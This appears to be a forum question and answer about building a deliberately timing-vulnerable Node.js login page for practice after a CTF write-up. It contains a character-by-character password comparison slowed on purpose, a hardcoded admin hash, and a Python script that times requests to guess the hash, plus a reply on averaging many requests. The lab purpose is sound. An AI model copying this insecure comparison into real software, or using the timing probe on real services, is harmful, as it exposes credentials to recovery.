Recently I came past this write up of a CTF on hackerone. In this writeup part of completing the challenge was to perform a timing attack. It spiked my interest and I wanted to create a webite that would be prone to a timing attack.
To do this I decided on nodejs, as that is what I am most familiar with. However, I was not able to replicate it, so I had to create my own strcmp
function and induce time difference inside that function. For now the code looks like this
const { urlencoded } = require('body-parser');
const express = require('express')
const session = require('express-session')
const app = express()
app.use(express.static(__dirname+'/public'));
app.use(express.urlencoded({extended: false}))
app.set('view engine', 'ejs')
//im using this function with some bullcrap code in it to just extend the time it runs
const strcmp_test = (op1, op2) => {
if(op1.length != op2.length) return false;
for(let i = 0; i < op1.length; ++i) {
if (op1[i] != op2[i]) return false;
for(let bleh = 1; bleh < 10000000; bleh++){
let test = 1000+bleh
let test2 = test/155
}
}
return true;
}
//MAIN SITE
app.get('/', (req,res) => {
res.render('index')
})
app.get('/some/place', (req,res) => {
res.render('a-view')
})
//LOGIN
app.post('/', (req,res) => {
//I didnt care for setting up a db
password_hash="c3e9fee675716951c547abe11e49e58190f9b1854924fa605b92d423be8716ab"
username="admin"
//if no body
if(!req.body){
console.log('NO BODY SENT')
res.render('index')
}
//missing param
if(!req.body.password || !req.body.login){
console.log('MISSING PARAMETER')
res.render('index')
}
//if password dont match. I know there is no check of username here, I guess that wont matter for the timing attack...?
//before I used my own made function I used-->
//if(req.body.login==username && req.body.password == password_hash) //
if(strcmp_test(req.body.password,password_hash)){
res.redirect('/some/place')
} else {
res.render('index')
}
})
//IF NO ROUTE EXISTS
app.use(function(req, res, next) {
res.status(404)
res.render('error')
});
app.listen(3000)
To test the time I used pythons requests
library. My code is pretty much similar to what was used in the writeup, which looks like this
def padding(h):
r = h + ('f' * (64 - len(h)))
return r
def send(payload):
URL = 'http://127.0.0.1:8080/'
r = requests.post(URL, data={'hash':payload})
return r.elapsed.total_seconds()
if __name__ == '__main__':
times = {}
for x in range(0,0xff):
times[format(x, 'x').zfill(2)] = send(padding(format(x, 'x').zfill(2)))
print(times)
My question is: why didnt it work in my case to perform a timing attack by just using ==
? And if it should work and I wanted to implement it, what would I need to do differently on the website?
I would imagine that the time required to set up and process an HTTP POST request is much greater than the time taken to compare two characters in a string.
Try aggregating the time required for multiple calls with the same value. Perhaps then you'll see a difference:
def send(payload):
URL = 'http://127.0.0.1:8080/'
t = 0.0
# Might help to make one initial call to set up the HTTP pathway
# requests.post(URL, data={'hash':payload})
for _ in range(10000):
t += requests.post(URL, data={'hash':payload}).elapsed.total_seconds()
return t